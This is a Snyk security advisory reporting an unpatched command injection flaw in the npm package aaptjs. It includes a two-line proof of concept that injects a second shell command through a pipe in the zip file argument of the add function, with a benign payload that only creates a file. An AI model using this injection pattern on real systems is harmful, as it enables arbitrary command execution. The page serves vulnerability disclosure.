Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsThere is no fixed version for aaptjs
.
aaptjs is an A node wraper for aapt
Affected versions of this package are vulnerable to Command Injection due to improper input sanitization via the add
function when using pipe (|
) after the zip file value.
const pkg = require('aaptjs');
pkg.add('test0.zip | touch exploited.txt', ['aaptjs_poc-zip-cmd-inject.js']);